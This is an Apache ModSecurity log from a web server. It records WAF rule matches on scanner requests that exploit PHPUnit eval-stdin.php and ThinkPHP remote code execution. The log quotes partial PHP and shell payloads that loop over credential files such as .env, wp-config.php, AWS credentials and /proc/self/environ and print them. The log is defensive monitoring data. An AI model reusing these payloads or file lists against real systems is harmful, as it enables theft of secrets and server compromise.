[Fri Jul 17 08:55:19.337649 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/default/settings..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn-1pLmPpy2r_2CxfTwAAAA8"]
[Fri Jul 17 08:55:19.338098 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array(.env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/credential..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn-1pLmPpy2r_2CxfTwAAAA8"]
[Fri Jul 17 08:55:19.338676 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: .env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/config/database.php','application/application/application/application/extra/database.php','app/etc/env.php','sites/default/.aws/credentials','/var/www/html/.env','/var/www/html/.env.local','/var/www/html/.env...."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn-1pLmPpy2r_2CxfTwAAAA8"]
[Fri Jul 17 08:55:19.340006 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS_NAMES:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: {echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ found within ARGS_NAMES:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: strlen($c)>8){echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ')!"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/ [hostname "2s-travels.com"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn-1pLmPpy2r_2CxfTwAAAA8"]
[Fri Jul 17 08:55:19.340334 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ;foreach found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','si [hostname "2s-travels.com"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn-1pLmPpy2r_2CxfTwAAAA8"]
[Fri Jul 17 08:55:19.340416 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ;echo $c found within ARGS:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: =false)$c=str_replace(\\x22\\x5c0\\x22,\\x22\\x5cn\\x22,$c);echo $c;}}?>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn-1pLmPpy2r_2CxfTwAAAA8"]
[Fri Jul 17 08:55:19.340532 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS_NAMES:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {echo found within ARGS_NAMES:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: strlen($c)>8){echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ')!"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn-1pLmPpy2r_2CxfTwAAAA8"]
[Fri Jul 17 08:55:19.340871 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ;foreach found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php', [hostname "2s-travels.com"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn-1pLmPpy2r_2CxfTwAAAA8"]
[Fri Jul 17 08:55:19.340943 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ;echo found within ARGS:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: =false)$c=str_replace(\\x22\\x5c0\\x22,\\x22\\x5cn\\x22,$c);echo $c;}}?>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn-1pLmPpy2r_2CxfTwAAAA8"]
[Fri Jul 17 08:55:19.342428 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\b(?:if(?:/i)?(?: not)?(?: exist\\\\b| defined\\\\b| errorlevel\\\\b| cmdextversion\\\\b|(?: |\\\\().*(?:\\\\bgeq\\\\b|\\\\bequ\\\\b|\\\\bneq\\\\b|\\\\bleq\\\\b|\\\\bgtr\\\\b|\\\\blss\\\\b|==))|for(?:/[dflr].*)? %+[^ ]+ in\\\\(.*\\\\)\\\\s?do)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "413"] [id "932140"] [msg "Remote Command Execution: Windows FOR/IF Command Found"] [data "Matched Data: if($c!== found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array(.env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/creden..."] [severity "CRITICAL"] [v [hostname "2s-travels.com"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn-1pLmPpy2r_2CxfTwAAAA8"]
[Fri Jul 17 08:55:19.346008 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: .env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/config/database.php application/application/application/application/extra/database.php app/etc/env.php sites/default/.aws/credentials/var/www/html/.env/var/www/html/.env.local/var/www/html/.env.production/var/www/html/.env.backup/var/ww..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2 [hostname "2s-travels.com"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn-1pLmPpy2r_2CxfTwAAAA8"]
[Fri Jul 17 08:55:19.346212 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS_NAMES:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?p found within ARGS_NAMES:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: <?php echo 'ahmadscan_phpunit_cf888575';$fs"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn-1pLmPpy2r_2CxfTwAAAA8"]
[Fri Jul 17 08:55:19.350131 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "file_get_contents" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: file_get_contents found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/def..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/ [hostname "2s-travels.com"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn-1pLmPpy2r_2CxfTwAAAA8"]
[Fri Jul 17 08:55:19.355572 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:server[REQUEST_METHOD]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../..."] [severity "CRITICAL" [hostname "2s-travels.com"] [uri "/"] [unique_id "almgnw5GPQ6hs4VrfMpBfwAAAAY"]
[Fri Jul 17 08:55:19.356027 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:server[REQUEST_METHOD]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgnw5GPQ6hs4VrfMpBfwAAAAY"]
[Fri Jul 17 08:55:19.356589 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:server[REQUEST_METHOD]: echo ahmadscan_thinkphp_ff746253 for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgnw5GPQ6hs4VrfMpBfwAAAAY"]
[Fri Jul 17 08:55:19.357250 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:server[REQUEST_METHOD]: .env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/config/database.php application/application/application/application/extra/database.php app/etc/env.php sites/default/.aws/credentials /var/www/html/.env /var/www/html/.env.local /var/www/html/.env.production /var/www/html/.env.backup /var/www/html/.env.s..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgnw5GPQ6hs4VrfMpBfwAAAAY"]
[Fri Jul 17 08:55:19.358931 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ; echo \\x22--- FILE $f ---\\x22; if echo \\x22$f\\x22 | grep -q environ; then tr '\\x5c0' '\\x5cn' < \\x22$f\\x22; else cat \\x22$f\\x22; fi; fi; done found within ARGS:server[REQUEST_METHOD]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/..."] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgnw5GPQ6hs4VrfMpBfwAAAAY"]
[Fri Jul 17 08:55:19.359428 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ; echo found within ARGS:server[REQUEST_METHOD]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ... [hostname "2s-travels.com"] [uri "/"] [unique_id "almgnw5GPQ6hs4VrfMpBfwAAAAY"]
[Fri Jul 17 08:55:19.360996 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within ARGS:server[REQUEST_METHOD]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php  [hostname "2s-travels.com"] [uri "/"] [unique_id "almgnw5GPQ6hs4VrfMpBfwAAAAY"]
